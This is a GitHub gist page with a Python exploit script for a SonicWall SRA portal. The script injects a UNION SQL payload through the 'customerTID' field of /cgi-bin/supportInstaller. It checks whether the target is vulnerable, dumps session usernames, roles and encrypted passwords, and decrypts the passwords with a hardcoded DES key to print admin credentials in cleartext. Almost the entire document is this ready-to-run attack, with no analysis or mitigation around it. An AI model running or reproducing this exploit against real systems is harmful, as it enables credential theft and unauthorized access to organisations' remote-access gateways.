Created
June 19, 2021 21:45
-
-
Save darrenmartyn/eb06e5fbc2b005a4de78ddc594bccaa7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# coding: utf-8 | |
import argparse | |
from Cryptodome.Cipher import DES | |
import random | |
import re | |
import requests | |
from urllib.parse import urljoin | |
from urllib3.exceptions import InsecureRequestWarning | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
MATCH_CREDS = re.compile(r'''var\s+username\s+=\s+"([^"]+)".+var\s+portalname\s+=\s+"([\d+])".+var\s+supportcode\s+=\s+"([0-9A-F]+)"''', re.MULTILINE | re.DOTALL) | |
USER_TYPE = { | |
0: 'user', | |
1: 'admin', | |
2: 'admin (ro)', | |
} | |
def extract_one(s, url, i): | |
data = { | |
'fromEmailInvite': 1, | |
'customerTID': f'unpossible\' UNION SELECT 0,0,userType,userName,0,password,0,0 FROM Sessions LIMIT 1 OFFSET {i}--', | |
} | |
try: | |
r = s.post(url, data=data) | |
except requests.exceptions.RequestException as e: | |
print(e) | |
return None | |
if r.status_code != requests.status_codes.codes.OK: | |
return None | |
matched_creds = MATCH_CREDS.findall(r.text) | |
assert(len(matched_creds) == 1) | |
username, usertype, password = matched_creds[0] | |
return int(usertype), username, password | |
def probe(s, url): | |
a = random.randint(5000, 50000) | |
b = random.randint(5000, 50000) | |
data = { | |
'fromEmailInvite': 1, | |
'customerTID': f'unpossible\' UNION SELECT 0,0,0,{a}*{b},0,0,0,0--', | |
} | |
try: | |
r = s.post(url, data=data) | |
except requests.exceptions.RequestException as e: | |
print(e) | |
if str(a*b) in r.text: | |
return True | |
else: | |
return False | |
def des_decrypt(ct): | |
key = b'/O*\x86\xd5R\xf8\x80' | |
cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00'*8) | |
return cipher.decrypt(ct) | |
def decrypt_hex_to_str(h): | |
pt = des_decrypt(bytes.fromhex(h)) | |
return pt.rstrip(b'\x00'*8).decode() | |
def exploit(baseurl): | |
s = requests.Session() | |
s.verify = False | |
s.timeout = 3 | |
s.headers = { | |
'User-Agent': 'MSIE', | |
} | |
url = urljoin(baseurl, '/cgi-bin/supportInstaller') | |
print("[+] Checking for sql injection vulnerability...") | |
vuln = probe(s, url) | |
if not vuln: | |
print("[-] Not vuln") | |
return | |
print("[+] Portal seems to be vuln!") | |
count = 0 | |
for count in range(64): | |
res = extract_one(s, url, count) | |
if res is None: | |
break | |
usertype_int, username, password_enc = res | |
password = decrypt_hex_to_str(password_enc) | |
print(f'[+] {username}:{password} (type {usertype_int} ({USER_TYPE[usertype_int]}), pwd ciphertext: {password_enc})') | |
print(f'[*] count: {count}') | |
if not count: | |
print(f'[-] likely no users logged in right now :(') | |
def https_check(s): | |
if not s.startswith('https://'): | |
raise ValueError | |
return s | |
def main(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument('baseurl', help='https:// base url of SonicWall SRA Portal', type=https_check) | |
args = parser.parse_args() | |
exploit(args.baseurl) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment